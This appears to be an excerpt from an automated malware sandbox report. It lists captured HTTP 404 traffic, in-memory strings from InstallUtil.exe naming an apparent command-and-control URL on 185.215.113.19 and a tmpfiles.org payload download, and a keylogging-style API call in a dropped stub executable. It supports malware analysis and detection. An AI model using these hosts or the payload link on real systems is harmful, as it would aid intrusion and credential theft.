Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:47 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:48 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:54 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:23:56 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0

Source: InstallUtil.exe, 00000004.00000002.2691625384.00000000037BA000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2691625384.000000000379E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.php
Source: InstallUtil.exe, 00000004.00000002.2691625384.000000000379E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.php369.jpg
Source: InstallUtil.exe, 00000004.00000002.2691625384.000000000379E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.php369.jpgT
Source: InstallUtil.exe, 00000004.00000002.2691625384.000000000373E000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2691625384.00000000036F1000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2682444065.000000000106D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2682444065.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2687840693.0000000002DEE000.00000004.00000010.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2691625384.00000000037BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.php?scr=1
Source: InstallUtil.exe, 00000004.00000002.2691625384.000000000373E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.php?scr=154
Source: InstallUtil.exe, 00000004.00000002.2691625384.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.php?scr=17
Source: InstallUtil.exe, 00000004.00000002.2691625384.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.php?scr=1H4
Source: InstallUtil.exe, 00000004.00000002.2691625384.00000000036F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.php?scr=1S
Source: InstallUtil.exe, 00000004.00000002.2691625384.000000000373E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.php?scr=1Y4
Source: InstallUtil.exe, 00000004.00000002.2682444065.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.php?scr=1i
Source: InstallUtil.exe, 00000004.00000002.2691625384.00000000037BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.php?scr=1tg5TSl0zGDjOSvEHVnex.php
Source: InstallUtil.exe, 00000004.00000002.2691625384.00000000037BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.phpKk
Source: InstallUtil.exe, 00000004.00000002.2691625384.00000000037BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.phpqk
Source: InstallUtil.exe, 00000004.00000002.2691625384.00000000037BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.phprn$y
Source: InstallUtil.exe, 00000004.00000002.2691625384.000000000379E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/CoreOPT/index.phpsion
Source: Amcache.hve.16.dr	String found in binary or memory: http://upx.sf.net
Source: Application.exe, 00000006.00000002.2311043538.00000000040E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apple.com/http://www.appl
Source: file.exe, Application.exe.0.dr	String found in binary or memory: http://www.apple.com/http://www.apple.com/Copyright
Source: InstallUtil.exe, 00000004.00000002.2682444065.000000000106D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/
Source: InstallUtil.exe, 00000004.00000002.2682444065.000000000106D000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2682444065.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2682444065.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/dl/14438655/stub4141_2024-10-16_10-48.exe
Source: InstallUtil.exe, 00000004.00000002.2682444065.0000000000FF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/dl/14438655/stub4141_2024-10-16_10-48.exe.
Source: InstallUtil.exe, 00000004.00000002.2682444065.000000000106D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/dl/14438655/stub4141_2024-10-16_10-48.exe7

Source: C:\Users\user\AppData\Local\Temp\1000652001\stub4141_2024-10-16_10-48.exe

Code function: 12_2_00411390 WaitForSingleObject,RtlExitUserThread,GetAsyncKeyState,Sleep,OpenEventW,SetEvent,CloseHandle,RtlExitUserThread,

12_2_00411390

System Summary

